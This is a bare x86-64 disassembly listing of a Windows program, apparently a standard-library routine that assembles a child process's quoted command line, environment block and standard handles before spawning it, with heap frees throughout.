mov qword [rsp + 0x270], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0x88], rcx
cmp rcx, rax
jne 0x140008360
movq xmm6, qword [rsp + 0x270]
jmp 0x14000783d
mov r12, qword [rsp + 0x178]
mov rsi, qword [rsp + 0x198]
mov r14, qword [rsp + 0x1a0]
movzx ebx, byte [rsp + 0x235]
mov r13, qword [rsp + 0x180]
add r13, r12
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xe0], 0
lea rdi, [rsp + 0xd0]
mov rcx, rdi
xor edx, edx
call fcn.1400e6f40
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov word [rax + rcx*2], 0x22
inc rcx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0x2e0], r12
mov qword [rsp + 0x2e8], r13
mov word [rsp + 0x2f0], 0
lea rdx, [rsp + 0x2e0]
mov rcx, rdi
call fcn.1400db7c0
mov rdx, qword [rsp + 0xe0]
cmp rdx, qword [rsp + 0xd0]
jne 0x140007768
lea rcx, [rsp + 0xd0]
call fcn.1400e6f40
mov rdx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xd8]
mov word [rax + rdx*2], 0x22
inc rdx
mov qword [rsp + 0xe0], rdx
shl r14, 3
lea r12, [r14 + r14*4]
lea r14, [rsp + 0xd0]
jmp 0x1400077ca
lea r13, [rsi + 0x28]
mov rax, qword [rsp + 0xd8]
mov word [rax + rdx*2], 0x20
inc rdx
mov qword [rsp + 0xe0], rdx
mov rcx, r14
mov rdx, rsi
mov r8d, ebx
call fcn.1400dbb70
add r12, 0xffffffffffffffd8
mov rsi, r13
test rax, rax
jne 0x1400077f3
test r12, r12
je 0x140007819
mov rdx, qword [rsp + 0xe0]
cmp rdx, qword [rsp + 0xd0]
jne 0x140007793
mov rcx, r14
call fcn.1400e6f40
mov rdx, qword [rsp + 0xe0]
jmp 0x140007793
mov rdi, rax
cmp qword [rsp + 0xd0], 0
je 0x140007838
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140007838
mov rdx, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14000785e
movq xmm6, rdi
test r15, r15
je 0x140005750
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x78]
call sub.KERNEL32.dll_HeapFree
jmp 0x140005750
mov rax, qword [rsp + 0xe0]
mov cl, 1
mov dword [rsp + 0x16c], ecx
mov qword [rsp + 0x88], r15
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x140], rdx
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rax
cmp rax, rdx
jne 0x1400078be
lea rcx, [rsp + 0x140]
call fcn.1400e6f40
mov rdi, qword [rsp + 0x148]
mov rax, qword [rsp + 0x150]
mov word [rdi + rax*2], 0
inc qword [rsp + 0x150]
cmp byte [rsp + 0x234], 0
mov eax, 0x400
mov ecx, 0x608
cmove ecx, eax
or ecx, dword [rsp + 0x230]
mov dword [rsp + 0x2cc], ecx
cmp byte [rsp + 0x278], 0
je 0x140007af6
mov eax, 2
mov qword [rsp + 0x58], rax
xor r14d, r14d
xor ebx, ebx
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x1a8], rax
jne 0x140007be9
mov eax, 2
mov qword [rsp + 0x278], rax
xor r12d, r12d
xor eax, eax
mov qword [rsp + 0x80], rax
lea rsi, [rsp + 0x1c8]
lea rdi, [rsp + 0x1e8]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x14017a0a8], cl
je 0x140007981
lea rcx, [0x14017a0a8]
call fcn.1400e7c70
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x250], 0
mov qword [rsp + 0x260], 0
cmp dword [rsp + 0x1c8], 6
mov ebp, dword [rsp + 0x1d8]
lea r13, [rsp + 0x720]
cmove rsi, r13
cmp dword [rsp + 0x1e8], 6
cmove rdi, r13
lea r8, [rsp + 0x240]
mov rcx, rsi
mov edx, 0xfffffff6
call fcn.1400df140
mov rsi, rdx
test rax, rax
jne 0x14000828b
lea rcx, [rsp + 0x1d8]
lea r8, [rsp + 0x250]
cmp ebp, 6
cmove rcx, r13
mov edx, 0xfffffff5
call fcn.1400df140
mov qword [rsp + 0x2b8], rdx
test rax, rax
jne 0x1400083e8
lea r8, [rsp + 0x260]
mov rcx, rdi
mov edx, 0xfffffff4
call fcn.1400df140
mov qword [rsp + 0x2b0], rdx
test rax, rax
jne 0x1400083f6
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xa0], 0
cmp qword [rsp + 0x80], 0
jne 0x140007b55
lea rcx, [rsp + 0x90]
xor edx, edx
call fcn.1400e6f40
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
mov word [rax + rcx*2], 0
inc rcx
mov qword [rsp + 0xa0], rcx
xor eax, eax
mov r8, qword [rsp + 0x60]
test r8, r8
setne al
mov rcx, qword [rsp + 0x80]
cmove rcx, r8
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], 0
mov qword [rsp + 0x2f0], r8
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x2f8], rdx
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], 0
mov qword [rsp + 0x310], r8
mov qword [rsp + 0x318], rdx
mov qword [rsp + 0x320], rcx
test rcx, rcx
jne 0x140007cc5
mov qword [rsp + 0x2e0], 0
cmp qword [rsp + 0x60], 0
jne 0x140008546
jmp 0x1400089fd
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b8]
add rcx, rax
xor r10d, r10d
mov rdx, rax
jmp 0x140007c11
xor r10d, r10d
test r8w, r8w
je 0x140008258
mov r8w, 1
test r10w, r10w
jne 0x140007c04
cmp rdx, rcx
je 0x140008443
movzx r10d, byte [rdx]
test r10b, r10b
js 0x140007c39
inc rdx
mov r9d, r10d
jmp 0x140007cba
mov r9d, r10d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r10b, 0xdf
jbe 0x140007c83
movzx r11d, byte [rdx + 2]
shl esi, 6
and r11d, 0x3f
or r11d, esi
cmp r10b, 0xf0
jb 0x140007c90
movzx r10d, byte [rdx + 3]
add rdx, 4
and r9d, 7
shl r9d, 0x12
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
or r9d, r10d
jmp 0x140007c9b
add rdx, 2
shl r9d, 6
or r9d, esi
jmp 0x140007cba
add rdx, 3
shl r9d, 0xc
or r9d, r11d
cmp r9d, 0xffff
jbe 0x140007cba
and r9d, 0x3ff
or r9d, 0xdc00
mov r10d, r9d
jmp 0x140007c07
xor r10d, r10d
mov r8d, r9d
jmp 0x140007c07
xor ebx, ebx
pxor xmm6, xmm6
mov rsi, qword [rsp + 0x60]
jmp 0x140007d0e
mov rdx, qword [rsp + 0x80]
dec rdx
mov rcx, rdx
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x320], rdx
test rax, rax
je 0x140002d2d
test rbx, rbx
jne 0x140007df9
cmp qword [rsp + 0x68], 0
je 0x140007dcb
mov rcx, qword [rsp + 0x68]
and rcx, 7
je 0x140007d76
mov rax, qword [rsp + 0x68]
and rax, 0xfffffffffffffff8
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx + 0x3d8]
mov qword [rsp + 0x60], rdx
dec rcx
jne 0x140007d5e
jmp 0x140007d7b
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x68], 8
jb 0x140007dcb
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov qword [rsp + 0x60], rcx
add rax, 0xfffffffffffffff8
jne 0x140007d83
mov qword [rsp + 0x2e0], 1
mov rbx, qword [rsp + 0x60]
mov qword [rsp + 0x2e8], rbx
lea rax, [rsp + 0x2f0]
movdqu xmmword [rax], xmm6
xor eax, eax
mov qword [rsp + 0x68], rax
xor esi, esi
movzx eax, word [rbx + 0x3d2]
cmp qword [rsp + 0x68], rax
jae 0x140007e11
mov rbp, qword [rsp + 0x68]
mov rdi, rbx
jmp 0x140007e48
mov rdi, qword [rbx + 0x160]
test rdi, rdi
je 0x14000855c
inc rsi
movzx ebp, word [rbx + 0x3d0]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rbx, rdi
cmp bp, word [rdi + 0x3d2]
jae 0x140007e11
test rsi, rsi
je 0x140007ed3
mov rbx, qword [rdi + rbp*8 + 0x3e0]
mov rax, rsi
dec rax
je 0x140007eca
mov rcx, rax
and rcx, 7
je 0x140007e82
mov rax, rcx
mov rbx, qword [rbx + 0x3d8]
dec rax
jne 0x140007e6d
not rcx
add rcx, rsi
mov rax, rcx
add rsi, 0xfffffffffffffffe
cmp rsi, 7
jb 0x140007eca
mov rcx, qword [rbx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rbx, qword [rcx + 0x3d8]
add rax, 0xfffffffffffffff8
jne 0x140007e8c
xor eax, eax
mov qword [rsp + 0x68], rax
jmp 0x140007edf
lea rax, [rbp + 1]
mov qword [rsp + 0x68], rax
mov rbx, rdi
mov qword [rsp + 0x2e8], rbx
mov qword [rsp + 0x2f0], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x2f8], rax
imul rcx, rbp, 0x38
mov rax, qword [rdi + rcx + 0x168]
movabs rdx, 0x8000000000000000
cmp rax, rdx
je 0x1400089fd
lea rdx, [rdi + rcx]
add rdx, 0x168
shl rbp, 5
mov r8, qword [rdi + rcx + 0x170]
mov r13, qword [rdi + rcx + 0x188]
mov rsi, qword [rdi + rcx + 0x190]
mov r14, qword [rdi + rcx + 0x198]
mov rcx, qword [rdi + rbp]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rdi + rbp + 8]
mov qword [rsp + 0x58], rcx
mov rbp, qword [rdi + rbp + 0x10]
mov rcx, qword [rdx + 0x10]
add rcx, r8
xor r11d, r11d
mov rdx, r8
jmp 0x140007f82
xor r11d, r11d
test r9w, r9w
je 0x140008295
mov r9w, 1
test r11w, r11w
jne 0x140007f75
cmp rdx, rcx
je 0x140008036
movzx r11d, byte [rdx]
test r11b, r11b
js 0x140007faa
inc rdx
mov r10d, r11d
jmp 0x14000802b
mov r10d, r11d
and r10d, 0x1f
movzx r12d, byte [rdx + 1]
and r12d, 0x3f
cmp r11b, 0xdf
jbe 0x140007ff4
movzx edi, byte [rdx + 2]
shl r12d, 6
and edi, 0x3f
or edi, r12d
cmp r11b, 0xf0
jb 0x140008001
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
shl edi, 6
and r11d, 0x3f
or r11d, edi
or r10d, r11d
jmp 0x14000800c
add rdx, 2
shl r10d, 6
or r10d, r12d
jmp 0x14000802b
add rdx, 3
shl r10d, 0xc
or r10d, edi
cmp r10d, 0xffff
jbe 0x14000802b
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
jmp 0x140007f78
xor r11d, r11d
mov r9d, r10d
jmp 0x140007f78
test rax, rax
je 0x140008049
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x90]
mov rdi, qword [rsp + 0xa0]
sub rax, rdi
cmp rax, r14
jb 0x140008238
lea r8, [r14 + r14]
lea rcx, [rdi + rdi]
add rcx, qword [rsp + 0x98]
mov rdx, rsi
call sub.msvcrt.dll_memcpy
add rdi, r14
mov qword [rsp + 0xa0], rdi
test r13, r13
je 0x1400080a6
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0xa0]
cmp rdi, qword [rsp + 0x90]
jne 0x1400080c8
lea rcx, [rsp + 0x90]
mov rdx, rdi
call fcn.1400e6f40
mov rdi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x98]
mov word [rax + rdi*2], 0x3d
inc rdi
mov qword [rsp + 0xa0], rdi
mov rax, qword [rsp + 0x58]
add rbp, rax
xor r8d, r8d
jmp 0x1400080fa
xor r8d, r8d
test cx, cx
je 0x140008303
mov cx, 1
test r8w, r8w
jne 0x1400080ee
cmp rax, rbp
je 0x1400081a4
movzx r8d, byte [rax]
test r8b, r8b
js 0x14000811e
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x60], rax
je 0x1400082cc
lea rcx, [rsp + 0x90]
mov rdx, rdi
mov r8, r14
call fcn.1400e6fe0
mov rdi, qword [rsp + 0xa0]
jmp 0x140008065
lea r12, [0x14016e198]
jmp 0x1400084e6
test rbp, rbp
je 0x14000827a
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x14016e208]
mov qword [rsp + 0x78], rax
jmp 0x14000574a
movq xmm6, rsi
jmp 0x140008713
test rax, rax
jne 0x14000856b
cmp qword [rsp + 0x60], 0
jne 0x140008585
test r13, r13
je 0x1400082c0
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
lea rax, [0x14016e198]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x2e0]
call fcn.1400ded50
cmp qword [rsp + 0x90], 0
je 0x140008a62
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140008a62
mov rsi, qword [rsp + 0x58]
cmp qword [rsp + 0x60], 0
jne 0x1400082af
mov rax, qword [rsp + 0x710]
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x718]
jmp 0x1400075bc
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x290]
test rbp, rbp
je 0x1400075bc
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
jmp 0x1400075bc
mov r9, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
movzx ecx, byte [rsp + 0x235]
mov byte [rsp + 0x28], cl
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x78]
mov r8, rsi
call fcn.1400dbfd0
mov rdx, qword [rsp + 0x2e0]
mov rdi, qword [rsp + 0x2e8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400085a6
movq xmm6, rdi
cmp qword [rsp + 0x88], 0
je 0x14000783d
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x270]
call sub.KERNEL32.dll_HeapFree
jmp 0x14000783d
movq xmm6, qword [rsp + 0x2b8]
jmp 0x14000870b
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], rcx
mov word [rsp + 0x2f0], 0
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x2e0]
call fcn.1400db950
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xe0]
mov rax, rcx
mov qword [rsp + 0x80], rcx
cmp rdx, rcx
jne 0x1400084b7
lea rcx, [rsp + 0xd0]
call fcn.1400e6f40
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
mov rdx, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xd8]
mov word [r12 + rdx*2], 0
mov qword [rsp + 0x278], r12
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x80], rax
jne 0x14000793e
movq xmm6, r12
test r14, r14
je 0x1400087d8
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x58]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x140], 0
je 0x1400087e7
jmp 0x140008a77
cmp qword [rsp + 0x68], 0
jne 0x14000880e
mov rbx, qword [rsp + 0x60]
jmp 0x1400089f5
mov edx, 8
mov rcx, rbx
call fcn.14000bf80
ud2
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x60], 0
je 0x1400082aa
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x58]
call sub.KERNEL32.dll_HeapFree
test r13, r13
jne 0x1400082af
jmp 0x1400082c0
mov rax, qword [rsp + 0x2f0]
mov dword [rsp + 0x16c], 0
jmp 0x140007884
cmp qword [rsp + 0x240], 0
jne 0x14000877b
cmp qword [rsp + 0x140], 0
jne 0x140008a77
cmp qword [rsp + 0x88], 0
jne 0x140008a9c
test r15, r15
sete al
or al, byte [rsp + 0x16c]
jne 0x1400062e4
jmp 0x140008ac5
mov rcx, qword [rsp + 0x68]
and rcx, 7
jne 0x140008986
mov rax, qword [rsp + 0x68]
jmp 0x1400089a5
mov rax, qword [rsp + 0x68]
and rax, 0xfffffffffffffff8
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx + 0x3d8]
mov qword [rsp + 0x60], rdx
dec rcx
jne 0x14000898f
mov rbx, qword [rsp + 0x60]
cmp qword [rsp + 0x68], 8
jb 0x1400089f5
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rbx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rcx, qword [rcx + 0x3d8]
mov rbx, qword [rcx + 0x3d8]
add rax, 0xfffffffffffffff8
jne 0x1400089b7
mov rcx, rbx
call fcn.1400db700
lea rcx, [rsp + 0x2e0]
call fcn.1400ded50
mov r14, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xa0]
cmp rdx, r14
jne 0x140008a3c
lea rcx, [rsp + 0x90]
call fcn.1400e6f40
mov r14, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x98]
mov word [rbx + rdx*2], 0
mov qword [rsp + 0x58], rbx
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x14000790c
movq xmm6, qword [rsp + 0x58]
cmp qword [rsp + 0x140], 0
je 0x1400087e7
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x88], 0
je 0x1400087f6
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x270]
call sub.KERNEL32.dll_HeapFree
test r15, r15
sete al
or al, byte [rsp + 0x16c]
jne 0x1400062e4
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x78]
call sub.KERNEL32.dll_HeapFree
jmp 0x1400062e4